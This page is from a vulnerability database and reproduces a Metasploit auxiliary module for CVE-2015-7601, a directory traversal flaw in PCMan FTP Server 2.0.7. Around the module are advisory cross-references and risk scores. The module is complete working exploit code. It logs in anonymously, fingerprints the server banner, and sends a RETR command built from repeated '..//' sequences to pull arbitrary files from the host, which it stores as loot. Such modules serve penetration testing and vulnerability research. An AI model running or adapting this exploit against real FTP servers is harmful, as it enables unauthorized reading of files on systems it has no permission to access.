Lucene search
K

PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure

🗓️ 01 Sep 2024 00:00:00Reported by James Fitts, Jay Turla, brad wolfe, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 209 Views

PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure. Exploits vulnerability to download arbitrary files by crafting a RETR comman

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-7601
29 May 201815:50
circl
CNVD
PCMan FTP Server Information Disclosure Vulnerability
10 Oct 201500:00
cnvd
CVE
CVE-2015-7601
29 Sep 201519:00
cve
Cvelist
CVE-2015-7601
29 Sep 201519:00
cvelist
Metasploit
PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
8 Nov 201505:08
metasploit
NVD
CVE-2015-7601
29 Sep 201519:59
nvd
Prion
Directory traversal
29 Sep 201519:59
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.  
This vulnerability allows an attacker to download arbitrary files from the server by crafting  
a RETR command that includes file system traversal strings such as '..//'  
},  
'Platform' => 'win',  
'Author' =>  
[  
'Jay Turla', # @shipcod3, msf and initial discovery  
'James Fitts', # initial discovery  
'Brad Wolfe <brad.wolfe[at]gmail.com>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '38340'],  
[ 'CVE', '2015-7601']  
],  
'DisclosureDate' => '2015-09-28'  
))  
  
register_options(  
[  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),  
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])  
])  
end  
  
def check_host(ip)  
begin  
connect  
if /220 PCMan's FTP Server 2\.0/i === banner  
return Exploit::CheckCode::Appears  
end  
ensure  
disconnect  
end  
  
Exploit::CheckCode::Safe  
end  
  
def run_host(target_host)  
begin  
# Login anonymously and open the socket that we'll use for data retrieval.  
connect_login  
sock = data_connect  
if sock.nil?  
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
else  
file_path = datastore['PATH']  
file = ::File.basename(file_path)  
  
# make RETR request and store server response message...  
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"  
res = send_cmd( ["RETR", retr_cmd])  
  
# read the file data from the socket that we opened  
# dont assume theres still a sock to read from. Per #7582  
if sock.nil?  
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
return  
else  
# read the file data from the socket that we opened  
response_data = sock.read(1024)  
end  
  
unless response_data  
print_error("#{file_path} not found")  
return  
end  
  
if response_data.length == 0 or ! (res =~ /^150/ )  
print_status("File (#{file_path})from #{peer} is empty...")  
return  
end  
  
# store file data to loot  
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)  
vprint_status("Data returned:\n")  
vprint_line(response_data)  
print_good("Stored #{file_path} to #{loot_file}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
vprint_error(e.message)  
elog(e)  
rescue ::Timeout::Error, ::Errno::EPIPE => e  
vprint_error(e.message)  
elog(e)  
ensure  
data_disconnect  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 27.8
EPSS0.5258
209